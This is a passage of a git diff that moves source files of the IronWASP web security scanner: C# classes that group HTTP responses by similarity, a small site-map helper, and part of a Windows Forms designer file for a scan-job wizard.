(PendingMatch[0].ProcessedBodyString == PendingMatch[i].ProcessedBodyString) - { - Matched.Add(PendingMatch[i]); - } - else - { - UnMatched.Add(PendingMatch[i]); - } - } - PendingMatch = new List(UnMatched); - ContentGroups.Add(Matched); - } - - return ContentGroups; - } - - List> RelaxedGroupByContent(List Group) - { - List> ContentGroups = new List>(); - - if (Group.Count == 0) - { - return ContentGroups; - } - else if (Group.Count == 1) - { - ContentGroups.Add(Group); - return ContentGroups; - } - - List PendingMatch = new List(Group); - - - while (PendingMatch.Count > 0) - { - List Matched = new List(); - List UnMatched = new List(); - Matched.Add(PendingMatch[0]); - for (int i = 1; i < PendingMatch.Count; i++) - { - if (Tools.DiffLevel(PendingMatch[0].ProcessedBodyString, PendingMatch[i].ProcessedBodyString) < 4) - { - Matched.Add(PendingMatch[i]); - } - else - { - UnMatched.Add(PendingMatch[i]); - } - } - PendingMatch = new List(UnMatched); - ContentGroups.Add(Matched); - } - - return ContentGroups; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class SimilarityChecker + { + Dictionary ItemsDictionary = new Dictionary(); + + public List StrictGroups = new List(); + public List RelaxedGroups = new List(); + + public string StrictGroupsSignature + { + get + { + StringBuilder SB = new StringBuilder(); + foreach (SimilarityCheckerGroup Group in StrictGroups) + { + SB.Append(Group.Signature); + SB.Append(" "); + } + return SB.ToString(); + } + } + + public string RelaxedGroupsSignature + { + get + { + StringBuilder SB = new StringBuilder(); + foreach (SimilarityCheckerGroup Group in RelaxedGroups) + { + SB.Append(Group.Signature); + SB.Append(" "); + } + return SB.ToString(); + } + } + + public void Add(string Key, Response Item) + { + if (ItemsDictionary.ContainsKey(Key)) + { + throw new Exception(string.Format("Key-{0} already exists!", Key)); + } + ItemsDictionary[Key] = new SimilarityCheckerItem(Key, Item); + } + + public void Add(string Key, Response Item, string Payload) + { + if (ItemsDictionary.ContainsKey(Key)) + { + throw new Exception(string.Format("Key-{0} already exists!", Key)); + } + ItemsDictionary[Key] = new SimilarityCheckerItem(Key, Item, Payload); + } + + public void Check() + { + List> CodeGroups = GroupByCode(new List(ItemsDictionary.Values)); + + List> StrictLengthGroups = new List>(); + List> RelaxedLengthGroups = new List>(); + + foreach (List Group in CodeGroups) + { + StrictLengthGroups.AddRange(StrictGroupByLength(Group)); + RelaxedLengthGroups.AddRange(RelaxedGroupByLength(Group)); + } + + List> StrictContentGroups = new List>(); + List> RelaxedContentGroups = new List>(); + foreach (List Group in StrictLengthGroups) + { + StrictContentGroups.AddRange(StrictGroupByContent(Group)); + } + + foreach (List Group in RelaxedLengthGroups) + { + RelaxedContentGroups.AddRange(RelaxedGroupByContent(Group)); + } + + StrictGroups.Clear(); + foreach (List sig in StrictContentGroups) + { + SimilarityCheckerGroup SCG = new SimilarityCheckerGroup(); + foreach (SimilarityCheckerItem sci in sig) + { + SCG.AddItem(sci); + } + StrictGroups.Add(SCG); + } + + RelaxedGroups.Clear(); + foreach (List rig in RelaxedContentGroups) + { + SimilarityCheckerGroup RCG = new SimilarityCheckerGroup(); + foreach (SimilarityCheckerItem rci in rig) + { + RCG.AddItem(rci); + } + RelaxedGroups.Add(RCG); + } + } + + List> GroupByCode(List Items) + { + Dictionary> CodeGroupDict = new Dictionary>(); + List> CodeGroups = new List>(); + foreach (SimilarityCheckerItem Item in Items) + { + if (!CodeGroupDict.ContainsKey(Item.Res.Code)) + { + CodeGroupDict[Item.Res.Code] = new List(); + } + CodeGroupDict[Item.Res.Code].Add(Item); + } + foreach (int Key in CodeGroupDict.Keys) + { + CodeGroups.Add(CodeGroupDict[Key]); + } + return CodeGroups; + } + + List> StrictGroupByLength(List Group) + { + Dictionary> LengthGroupDict = new Dictionary>(); + List> LengthGroups = new List>(); + if (Group.Count == 0) + { + return LengthGroups; + } + else if (Group.Count == 1) + { + LengthGroups.Add(Group); + return LengthGroups; + } + + foreach (SimilarityCheckerItem Item in Group) + { + if (!LengthGroupDict.ContainsKey(Item.ProcessedBodyString.Length)) + { + LengthGroupDict[Item.ProcessedBodyString.Length] = new List(); + } + LengthGroupDict[Item.ProcessedBodyString.Length].Add(Item); + } + + foreach (int Key in LengthGroupDict.Keys) + { + LengthGroups.Add(LengthGroupDict[Key]); + } + return LengthGroups; + } + + List> RelaxedGroupByLength(List Group) + { + Dictionary> LengthGroupDict = new Dictionary>(); + List> LengthGroups = new List>(); + if (Group.Count == 0) + { + return LengthGroups; + } + else if (Group.Count == 1) + { + LengthGroups.Add(Group); + return LengthGroups; + } + + int[] Lengths = new int[Group.Count]; + int i = 0; + foreach (SimilarityCheckerItem Item in Group) + { + Lengths[i] = Item.ProcessedBodyString.Length; + i++; + } + + Array.Sort(Lengths); + + int CurrentKey = Lengths[0]; + + LengthGroupDict[CurrentKey] = new List(); + LengthGroupDict[CurrentKey].Add(Lengths[0]); + + for (int j = 0; j < Lengths.Length - 1; j++) + { + if (Tools.GetPercent(CurrentKey, Lengths[j + 1]) > 5) + { + CurrentKey = Lengths[j + 1]; + LengthGroupDict[CurrentKey] = new List(); + } + LengthGroupDict[CurrentKey].Add(Lengths[j + 1]); + } + + List GroupedKeys = new List(); + + foreach (int Key in LengthGroupDict.Keys) + { + List SubGroup = new List(); + foreach (int Length in LengthGroupDict[Key]) + { + foreach (SimilarityCheckerItem Item in Group) + { + if (Item.ProcessedBodyString.Length == Length && !GroupedKeys.Contains(Item.Key)) + { + SubGroup.Add(Item); + GroupedKeys.Add(Item.Key); + break; + } + } + } + LengthGroups.Add(SubGroup); + } + return LengthGroups; + } + + List> StrictGroupByContent(List Group) + { + List> ContentGroups = new List>(); + + if (Group.Count == 0) + { + return ContentGroups; + } + else if (Group.Count == 1) + { + ContentGroups.Add(Group); + return ContentGroups; + } + + List PendingMatch = new List(Group); + + + while(PendingMatch.Count > 0) + { + List Matched = new List(); + List UnMatched = new List(); + Matched.Add(PendingMatch[0]); + for (int i = 1; i < PendingMatch.Count; i++) + { + if (PendingMatch[0].ProcessedBodyString == PendingMatch[i].ProcessedBodyString) + { + Matched.Add(PendingMatch[i]); + } + else + { + UnMatched.Add(PendingMatch[i]); + } + } + PendingMatch = new List(UnMatched); + ContentGroups.Add(Matched); + } + + return ContentGroups; + } + + List> RelaxedGroupByContent(List Group) + { + List> ContentGroups = new List>(); + + if (Group.Count == 0) + { + return ContentGroups; + } + else if (Group.Count == 1) + { + ContentGroups.Add(Group); + return ContentGroups; + } + + List PendingMatch = new List(Group); + + + while (PendingMatch.Count > 0) + { + List Matched = new List(); + List UnMatched = new List(); + Matched.Add(PendingMatch[0]); + for (int i = 1; i < PendingMatch.Count; i++) + { + if (Tools.DiffLevel(PendingMatch[0].ProcessedBodyString, PendingMatch[i].ProcessedBodyString) < 4) + { + Matched.Add(PendingMatch[i]); + } + else + { + UnMatched.Add(PendingMatch[i]); + } + } + PendingMatch = new List(UnMatched); + ContentGroups.Add(Matched); + } + + return ContentGroups; + } + } +} diff --git a/IronWASP/SimilarityCheckerGroup.cs b/Iron/SimilarityCheckerGroup.cs similarity index 96% rename from IronWASP/SimilarityCheckerGroup.cs rename to Iron/SimilarityCheckerGroup.cs index e479637..4672a7a 100644 --- a/IronWASP/SimilarityCheckerGroup.cs +++ b/Iron/SimilarityCheckerGroup.cs @@ -1,88 +1,88 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class SimilarityCheckerGroup - { - public List Items - { - get - { - List items = new List(); - foreach (string Key in ItemDict.Keys) - { - SimilarityCheckerItem Item = new SimilarityCheckerItem(Key, ItemDict[Key]); - items.Add(Item); - } - return items; - } - } - - public int Count - { - get - { - return ItemDict.Count; - } - } - - public string Signature - { - get - { - string[] k = new string[ItemDict.Keys.Count]; - ItemDict.Keys.CopyTo(k, 0); - string AllKeysStr = string.Join(", ", k); - return string.Format("[{0}]", AllKeysStr); - } - } - - Dictionary ItemDict = new Dictionary(); - - public List GetKeys() - { - List Keys = new List(ItemDict.Keys); - return Keys; - } - - public bool HasKey(string Key) - { - return ItemDict.ContainsKey(Key); - } - - internal void AddItem(SimilarityCheckerItem Item) - { - if (ItemDict.ContainsKey(Item.Key)) - { - throw new Exception("Key already exists"); - } - ItemDict[Item.Key] = Item.Res; - } - - internal void AddItem(string Key, Response Res) - { - SimilarityCheckerItem Item = new SimilarityCheckerItem(Key, Res); - AddItem(Item); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class SimilarityCheckerGroup + { + public List Items + { + get + { + List items = new List(); + foreach (string Key in ItemDict.Keys) + { + SimilarityCheckerItem Item = new SimilarityCheckerItem(Key, ItemDict[Key]); + items.Add(Item); + } + return items; + } + } + + public int Count + { + get + { + return ItemDict.Count; + } + } + + public string Signature + { + get + { + string[] k = new string[ItemDict.Keys.Count]; + ItemDict.Keys.CopyTo(k, 0); + string AllKeysStr = string.Join(", ", k); + return string.Format("[{0}]", AllKeysStr); + } + } + + Dictionary ItemDict = new Dictionary(); + + public List GetKeys() + { + List Keys = new List(ItemDict.Keys); + return Keys; + } + + public bool HasKey(string Key) + { + return ItemDict.ContainsKey(Key); + } + + internal void AddItem(SimilarityCheckerItem Item) + { + if (ItemDict.ContainsKey(Item.Key)) + { + throw new Exception("Key already exists"); + } + ItemDict[Item.Key] = Item.Res; + } + + internal void AddItem(string Key, Response Res) + { + SimilarityCheckerItem Item = new SimilarityCheckerItem(Key, Res); + AddItem(Item); + } + } +} diff --git a/IronWASP/SimilarityCheckerItem.cs b/Iron/SimilarityCheckerItem.cs similarity index 96% rename from IronWASP/SimilarityCheckerItem.cs rename to Iron/SimilarityCheckerItem.cs index a873027..fd4550a 100644 --- a/IronWASP/SimilarityCheckerItem.cs +++ b/Iron/SimilarityCheckerItem.cs @@ -1,57 +1,57 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class SimilarityCheckerItem - { - public string Key; - public Response Res; - public string Payload; - bool isPayloadSet = false; - public string ProcessedBodyString = ""; - - public bool IsPayloadSet - { - get - { - return isPayloadSet; - } - } - - internal SimilarityCheckerItem(string Key, Response Res) - { - this.Key = Key; - this.Res = Res; - this.ProcessedBodyString = this.Res.BodyString; - } - - internal SimilarityCheckerItem(string Key, Response Res, string Payload) - { - this.Key = Key; - this.Res = Res; - this.Payload = Payload; - this.isPayloadSet = true; - this.ProcessedBodyString = this.Res.BodyString.Replace(Payload, "").Replace(Tools.UrlEncode(Payload), "").Replace(Tools.HtmlEncode(Payload), ""); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class SimilarityCheckerItem + { + public string Key; + public Response Res; + public string Payload; + bool isPayloadSet = false; + public string ProcessedBodyString = ""; + + public bool IsPayloadSet + { + get + { + return isPayloadSet; + } + } + + internal SimilarityCheckerItem(string Key, Response Res) + { + this.Key = Key; + this.Res = Res; + this.ProcessedBodyString = this.Res.BodyString; + } + + internal SimilarityCheckerItem(string Key, Response Res, string Payload) + { + this.Key = Key; + this.Res = Res; + this.Payload = Payload; + this.isPayloadSet = true; + this.ProcessedBodyString = this.Res.BodyString.Replace(Payload, "").Replace(Tools.UrlEncode(Payload), "").Replace(Tools.HtmlEncode(Payload), ""); + } + } +} diff --git a/Iron/SiteMap.cs b/Iron/SiteMap.cs new file mode 100644 index 0000000..6b4f038 --- /dev/null +++ b/Iron/SiteMap.cs @@ -0,0 +1,36 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class SiteMap + { + public static List GetSitesList() + { + List BaseUrls = ToBaseUrls(IronDB.GetUniqueHostsAndSslFromProbeLog()); + foreach(string Url in ToBaseUrls(IronDB.GetUniqueHostsAndSslFromProxyLog())) + { + if (!BaseUrls.Contains(Url)) BaseUrls.Add(Url); + } + return BaseUrls; + } + + static List ToBaseUrls(List> Dicts) + { + List BaseUrls = new List(); + foreach (Dictionary Dict in Dicts) + { + if (Dict["SSL"] == "1") + { + BaseUrls.Add(string.Format("https://{0}/", Dict["HostName"])); + } + else + { + BaseUrls.Add(string.Format("http://{0}/", Dict["HostName"])); + } + } + return BaseUrls; + } + } +} diff --git a/IronWASP/StartScanJobWizard.Designer.cs b/Iron/StartScanJobWizard.Designer.cs similarity index 97% rename from IronWASP/StartScanJobWizard.Designer.cs rename to Iron/StartScanJobWizard.Designer.cs index 4ad61d4..f22994c 100644 --- a/IronWASP/StartScanJobWizard.Designer.cs +++ b/Iron/StartScanJobWizard.Designer.cs @@ -1,2452 +1,2493 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class StartScanJobWizard - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.components = new System.ComponentModel.Container(); - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(StartScanJobWizard)); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle9 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle10 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle11 = new System.Windows.Forms.DataGridViewCellStyle(); - this.BaseTabs = new System.Windows.Forms.TabControl(); - this.RequestTab = new System.Windows.Forms.TabPage(); - this.Step0StatusTB = new System.Windows.Forms.TextBox(); - this.RequestSSLCB = new System.Windows.Forms.CheckBox(); - this.CancelBtn = new System.Windows.Forms.Button(); - this.Step0TopMsgTB = new System.Windows.Forms.TextBox(); - this.StepOneNextBtn = new System.Windows.Forms.Button(); - this.RequestTabs = new System.Windows.Forms.TabControl(); - this.tabPage20 = new System.Windows.Forms.TabPage(); - this.RequestRawHeadersIDV = new IronDataView.IronDataView(); - this.tabPage21 = new System.Windows.Forms.TabPage(); - this.RequestRawBodyIDV = new IronDataView.IronDataView(); - this.ChecksTab = new System.Windows.Forms.TabPage(); - this.Step1StatusTB = new System.Windows.Forms.TextBox(); - this.SelectAllChecksCB = new System.Windows.Forms.CheckBox(); - this.Step1TopMsgTB = new System.Windows.Forms.TextBox(); - this.StepTwoPreviousBtn = new System.Windows.Forms.Button(); - this.StepTwoNextBtn = new System.Windows.Forms.Button(); - this.ScanPluginsGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn9 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn27 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.InjectionTab = new System.Windows.Forms.TabPage(); - this.Step2StatusTB = new System.Windows.Forms.TextBox(); - this.Step2ProgressBar = new System.Windows.Forms.ProgressBar(); - this.Step2TopMsgTB = new System.Windows.Forms.TextBox(); - this.StepThreePreviousBtn = new System.Windows.Forms.Button(); - this.StepThreeNextBtn = new System.Windows.Forms.Button(); - this.InjectionPointBaseTabs = new System.Windows.Forms.TabControl(); - this.AllTab = new System.Windows.Forms.TabPage(); - this.ScanHeadersCB = new System.Windows.Forms.CheckBox(); - this.AllHeaderPointsAvlLbl = new System.Windows.Forms.Label(); - this.panel7 = new System.Windows.Forms.Panel(); - this.ScanQueryCB = new System.Windows.Forms.CheckBox(); - this.AllQueryPointsAvlLbl = new System.Windows.Forms.Label(); - this.AllQueryPointsSelectedLbl = new System.Windows.Forms.Label(); - this.AllHeaderPointsSelectedLbl = new System.Windows.Forms.Label(); - this.panel6 = new System.Windows.Forms.Panel(); - this.ScanAllCB = new System.Windows.Forms.CheckBox(); - this.AllPointsAvlLbl = new System.Windows.Forms.Label(); - this.AllPointsSelectedLbl = new System.Windows.Forms.Label(); - this.panel4 = new System.Windows.Forms.Panel(); - this.ScanCookieCB = new System.Windows.Forms.CheckBox(); - this.AllCookiePointsAvlLbl = new System.Windows.Forms.Label(); - this.AllCookiePointsSelectedLbl = new System.Windows.Forms.Label(); - this.panel3 = new System.Windows.Forms.Panel(); - this.AllNamesPointsAvlLbl = new System.Windows.Forms.Label(); - this.ScanParameterNamesCB = new System.Windows.Forms.CheckBox(); - this.AllNamesPointsSelectedLbl = new System.Windows.Forms.Label(); - this.AllBodyPointsSelectedLbl = new System.Windows.Forms.Label(); - this.AllBodyPointsAvlLbl = new System.Windows.Forms.Label(); - this.AllUrlPointsSelectedLbl = new System.Windows.Forms.Label(); - this.AllUrlPointsAvlLbl = new System.Windows.Forms.Label(); - this.BodyInjectionMessageLbl = new System.Windows.Forms.Label(); - this.panel1 = new System.Windows.Forms.Panel(); - this.BlacklistItemsCountLbl = new System.Windows.Forms.Label(); - this.label19 = new System.Windows.Forms.Label(); - this.UseBlackListCB = new System.Windows.Forms.CheckBox(); - this.label5 = new System.Windows.Forms.Label(); - this.label3 = new System.Windows.Forms.Label(); - this.label2 = new System.Windows.Forms.Label(); - this.UrlPathPartInjectionMessageLbl = new System.Windows.Forms.Label(); - this.ScanURLCB = new System.Windows.Forms.CheckBox(); - this.ScanBodyCB = new System.Windows.Forms.CheckBox(); - this.URLTab = new System.Windows.Forms.TabPage(); - this.ScanURLGrid = new System.Windows.Forms.DataGridView(); - this.ASRequestURLSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.ASRequestURLPositionColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ASRequestURLValueColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.QueryTab = new System.Windows.Forms.TabPage(); - this.ScanQueryGrid = new System.Windows.Forms.DataGridView(); - this.ASRequestQuerySelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.ASRequestQueryNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ASRequestQueryValueColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.BodyTab = new System.Windows.Forms.TabPage(); - this.BodyTypeCustomRB = new System.Windows.Forms.RadioButton(); - this.BodyTypeFormatPluginRB = new System.Windows.Forms.RadioButton(); - this.BodyTypeNormalRB = new System.Windows.Forms.RadioButton(); - this.label35 = new System.Windows.Forms.Label(); - this.BodyInjectTypeTabs = new System.Windows.Forms.TabControl(); - this.BodyTypeNormalTab = new System.Windows.Forms.TabPage(); - this.ScanBodyTypeNormalGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn1 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn15 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn16 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.BodyTypeFormatPluginTab = new System.Windows.Forms.TabPage(); - this.ASRequestBodyTabSplit = new System.Windows.Forms.SplitContainer(); - this.FormatPluginsGrid = new System.Windows.Forms.DataGridView(); - this.ASRequestBodyDataFormatSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.ASRequestBodyDataFormatColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScanBodyFormatPluginTypeTabs = new System.Windows.Forms.TabControl(); - this.BodyTypeFormatPluginInjectionArrayGridTab = new System.Windows.Forms.TabPage(); - this.BodyTypeFormatPluginGrid = new System.Windows.Forms.DataGridView(); - this.ASRequestBodySelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.ASRequestBodyNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ASRequestBodyValueColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.BodyTypeFormatPluginXMLTab = new System.Windows.Forms.TabPage(); - this.FormatXMLTB = new System.Windows.Forms.TextBox(); - this.BodyTypeCustomTab = new System.Windows.Forms.TabPage(); - this.PlaceInjectionMarkerLL = new System.Windows.Forms.LinkLabel(); - this.label10 = new System.Windows.Forms.Label(); - this.label7 = new System.Windows.Forms.Label(); - this.label39 = new System.Windows.Forms.Label(); - this.CustomInjectionPointsHighlightLbl = new System.Windows.Forms.Label(); - this.label37 = new System.Windows.Forms.Label(); - this.CustomEndMarkerTB = new System.Windows.Forms.TextBox(); - this.textBox3 = new System.Windows.Forms.TextBox(); - this.ASApplyCustomMarkersLL = new System.Windows.Forms.LinkLabel(); - this.CustomInjectionMarkerTabs = new System.Windows.Forms.TabControl(); - this.CustomMarkerSelectionTab = new System.Windows.Forms.TabPage(); - this.SetCustomInjectionPointsSTB = new IronWASP.SearchableTextBox(); - this.CustomMarkerDisplayTab = new System.Windows.Forms.TabPage(); - this.HighlightCustomInjectionPointsRTB = new System.Windows.Forms.RichTextBox(); - this.CustomMarkerEscapingTab = new System.Windows.Forms.TabPage(); - this.CharacterEscapingStatusTB = new System.Windows.Forms.TextBox(); - this.label9 = new System.Windows.Forms.Label(); - this.label8 = new System.Windows.Forms.Label(); - this.label6 = new System.Windows.Forms.Label(); - this.label1 = new System.Windows.Forms.Label(); - this.textBox12 = new System.Windows.Forms.TextBox(); - this.EncodedCharacterTB = new System.Windows.Forms.TextBox(); - this.RawCharacterTB = new System.Windows.Forms.TextBox(); - this.AddToEscapeRuleBtn = new System.Windows.Forms.Button(); - this.CharacterEscapingGrid = new System.Windows.Forms.DataGridView(); - this.EscapingSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.RawCharacterColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ArrowColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.EncodedCharacterColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.CharacterEscapingMenu = new System.Windows.Forms.ContextMenuStrip(this.components); - this.EditRuleToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.DeleteRuleToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.CustomStartMarkerTB = new System.Windows.Forms.TextBox(); - this.label38 = new System.Windows.Forms.Label(); - this.CookieTab = new System.Windows.Forms.TabPage(); - this.ScanCookieGrid = new System.Windows.Forms.DataGridView(); - this.ASRequestCookieSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.ASRequestCookieNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ASRequestCookieValueColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.HeadersTab = new System.Windows.Forms.TabPage(); - this.ScanHeadersGrid = new System.Windows.Forms.DataGridView(); - this.ASRequestHeadersSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.ASRequestHeadersNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ASRequestHeadersValueColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ParameterNamesTab = new System.Windows.Forms.TabPage(); - this.textBox1 = new System.Windows.Forms.TextBox(); - this.ScanHeadersParameterNameCB = new System.Windows.Forms.CheckBox(); - this.ScanCookieParameterNameCB = new System.Windows.Forms.CheckBox(); - this.ScanBodyParameterNameCB = new System.Windows.Forms.CheckBox(); - this.ScanQueryParameterNameCB = new System.Windows.Forms.CheckBox(); - this.BlackListTab = new System.Windows.Forms.TabPage(); - this.textBox8 = new System.Windows.Forms.TextBox(); - this.textBox7 = new System.Windows.Forms.TextBox(); - this.ParametersBlacklistTB = new System.Windows.Forms.TextBox(); - this.CustomizeTab = new System.Windows.Forms.TabPage(); - this.SessionPluginsCombo = new System.Windows.Forms.ComboBox(); - this.ScanThreadLimitCB = new System.Windows.Forms.CheckBox(); - this.LaunchSessionPluginCreationAssistantLL = new System.Windows.Forms.LinkLabel(); - this.RefreshSessListLL = new System.Windows.Forms.LinkLabel(); - this.textBox2 = new System.Windows.Forms.TextBox(); - this.label11 = new System.Windows.Forms.Label(); - this.Step3StatusTB = new System.Windows.Forms.TextBox(); - this.StepFourPreviousBtn = new System.Windows.Forms.Button(); - this.FinalBtn = new System.Windows.Forms.Button(); - this.BaseTabs.SuspendLayout(); - this.RequestTab.SuspendLayout(); - this.RequestTabs.SuspendLayout(); - this.tabPage20.SuspendLayout(); - this.tabPage21.SuspendLayout(); - this.ChecksTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanPluginsGrid)).BeginInit(); - this.InjectionTab.SuspendLayout(); - this.InjectionPointBaseTabs.SuspendLayout(); - this.AllTab.SuspendLayout(); - this.panel7.SuspendLayout(); - this.panel6.SuspendLayout(); - this.panel4.SuspendLayout(); - this.panel3.SuspendLayout(); - this.panel1.SuspendLayout(); - this.URLTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanURLGrid)).BeginInit(); - this.QueryTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanQueryGrid)).BeginInit(); - this.BodyTab.SuspendLayout(); - this.BodyInjectTypeTabs.SuspendLayout(); - this.BodyTypeNormalTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanBodyTypeNormalGrid)).BeginInit(); - this.BodyTypeFormatPluginTab.SuspendLayout(); - this.ASRequestBodyTabSplit.Panel1.SuspendLayout(); - this.ASRequestBodyTabSplit.Panel2.SuspendLayout(); - this.ASRequestBodyTabSplit.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.FormatPluginsGrid)).BeginInit(); - this.ScanBodyFormatPluginTypeTabs.SuspendLayout(); - this.BodyTypeFormatPluginInjectionArrayGridTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.BodyTypeFormatPluginGrid)).BeginInit(); - this.BodyTypeFormatPluginXMLTab.SuspendLayout(); - this.BodyTypeCustomTab.SuspendLayout(); - this.CustomInjectionMarkerTabs.SuspendLayout(); - this.CustomMarkerSelectionTab.SuspendLayout(); - this.CustomMarkerDisplayTab.SuspendLayout(); - this.CustomMarkerEscapingTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.CharacterEscapingGrid)).BeginInit(); - this.CharacterEscapingMenu.SuspendLayout(); - this.CookieTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanCookieGrid)).BeginInit(); - this.HeadersTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanHeadersGrid)).BeginInit(); - this.ParameterNamesTab.SuspendLayout(); - this.BlackListTab.SuspendLayout(); - this.CustomizeTab.SuspendLayout(); - this.SuspendLayout(); - // - // BaseTabs - // - this.BaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; - this.BaseTabs.Controls.Add(this.RequestTab); - 